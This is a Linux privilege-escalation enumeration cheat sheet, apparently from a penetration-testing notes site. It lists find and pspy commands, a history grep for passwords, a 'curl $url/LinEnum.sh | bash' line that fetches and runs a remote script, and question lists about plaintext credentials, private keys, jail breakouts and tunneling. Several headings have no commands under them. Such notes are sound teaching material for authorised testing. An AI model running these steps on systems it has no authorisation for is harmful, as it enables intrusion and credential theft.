Enumeration

TODO: (issue #13)

  • Integrate "Questions to Ask" into existing sections

  • Add descriptions (Keep/expand questions? Or rewrite?)

  • Clean up

  • Prep code examples for scripting

  • Split debian/redhat/BSD commands into "tabs"

Filesystem Enumeration

Find all files a specific user has access to:

find / -user $username -ls 2>/dev/null

Find all files a specific group has access to:

find / -group $groupname -ls 2>/dev/null
find . -name .bash_history -exec grep -A 1 '^passwd' {} \;

Search filesystem by name pattern

Search files in whole filesystem for a string (case insensitive)

Check for useful installed programs

  • only displays the ones currently installed

Find UID 0 files (root execution)

Find executable files updated in August

Find a specific file

Find symlinked files

Display all the strings in a file

Determine the type of a file

Find deleted (unlinked) files

Read extended attributes of a file

Normally, using this command on a directory will cause it to list the attributes of the files inside that directory. However, you can force lsattr to treat a directory as a file and produce file attribute information for it by using the -d command line option.

Change attributes of a file

The format of a symbolic mode is +-=[aAcCdDeijsStTu]

The operator '+' causes the selected attributes to be added to the existing attributes of the files; '-' causes them to be removed; and '=' causes them to be the only attributes that the files have.

The letters 'aAcCdDeijsStTu' select the new attributes for the files: append only (a), no atime updates (A), compressed (c), no copy-on-write (C), no dump (d), synchronous directory updates (D), extent format (e), immutable (i), data journalling (j), secure deletion (s), synchronous updates (S), no tail-merging (t), top of directory hierarchy (T), and undeletable (u).

The following attributes are read-only and may be listed by lsattr but not modified by chattr: compression error (E), huge file (h), indexed directory (I), inline data (N), compression raw access (X), and compressed dirty file (Z).

Not all flags are supported or utilized by all filesystems; refer to filesystem-specific man pages such as btrfs, ext4, and xfs for more filesystem-specific details.

Process Enumeration

ps

Pspy

You can run pspy --help to learn about the flags and their meaning. The summary is as follows:

  • -p: enables printing commands to stdout (enabled by default)

  • -f: enables printing file system events to stdout (disabled by default)

  • -r: list of directories to watch with Inotify. pspy will watch all subdirectories recursively (by default, watches /usr, /tmp, /etc, /home, /var, and /opt).

  • -d: list of directories to watch with Inotify. pspy will watch these directories only, not the subdirectories (empty by default).

  • -i: interval in milliseconds between procfs scans. pspy scans regularly for new processes regardless of Inotify events, just in case some events are not received.

  • -c: print commands in different colors. File system events are not colored anymore, commands have different colors based on process UID.

  • --debug: prints verbose error messages which are otherwise hidden.

The default settings should be fine for most applications. Watching files inside /usr is most important since many tools will access libraries inside it.

Some more complex examples:

/proc

enumerate info about current processes running from: /proc/self/status

ps -U root -u root ux View all processes started by a certain user (root in this case)

Simple enumeration script

Misc

Linux Privilege Checker

full linux enumeration:

Download and execute script (such as LinEnum.sh) [from remote host]: curl $url/LinEnum.sh | bash

Locate exploits:

enumeration multi-tool: Sparta (does nmap, hydra, nikto, sqlscan, ssl...)

Semi-automated enumeration all-in-one (use this!): nmapAutomator

Unix hardening tool that can be used for enumeration: Bastille

Questions to ask:

TODO: Split debian/redhat/BSD commands up into tabs; Clean up code for scripting ($var, etc) (issue #13)

Operating System

What's the distribution type? What version?

What's the Kernel version? Is it 32 or 64-bit?

What can be learnt from the environmental variables?

Is there a printer?

Applications & Services

What services are running? Which service has which user privilege?

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

What applications are installed? What version are they? Are they currently running?

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

What jobs are scheduled?

Any plain text usernames and/or passwords?

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

What other users & hosts are communicating with the system?

What's cached? IP and/or MAC addresses

Is packet sniffing possible? What can be seen? Listen to live traffic

Have you got a shell? Can you interact with the system?

Is port forwarding possible? Redirect and interact with traffic from another view

  • SSH

  • mknod backpipe

Is tunneling possible? Send commands from local machine to remote

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

What sensitive files can be read?

Anything "interesting" in the home directory(s)? If it's possible to access

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

What has the user been doing? Are there any passwords in plain text? What have they been editing?

What user information can be found?

Can private-key information be found?

File Systems

Which configuration files can be written in /etc? Are you able to reconfigure services?

What can be found in /var ?

Any settings/files related to web server? Any settings file with database information?

Is there anything in the log file(s) (Could help with "Local File Includes"!)

If commands are limited, can you break out of the "jail" shell?

How are file-systems mounted?

Are there any unmounted file-systems?

What "Advanced Linux File Permissions" are used? "Sticky bit", SUID, GUID

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

Any "problem" files? Word-writeable, "nobody" files

Preparation for Writing Exploit Code

What development tools/languages are installed/supported?

How can files be transferred?

Researching Vulnerabilities

Finding exploit code

References

If you like this content and would like to see more, please consider buying me a coffee!

Last updated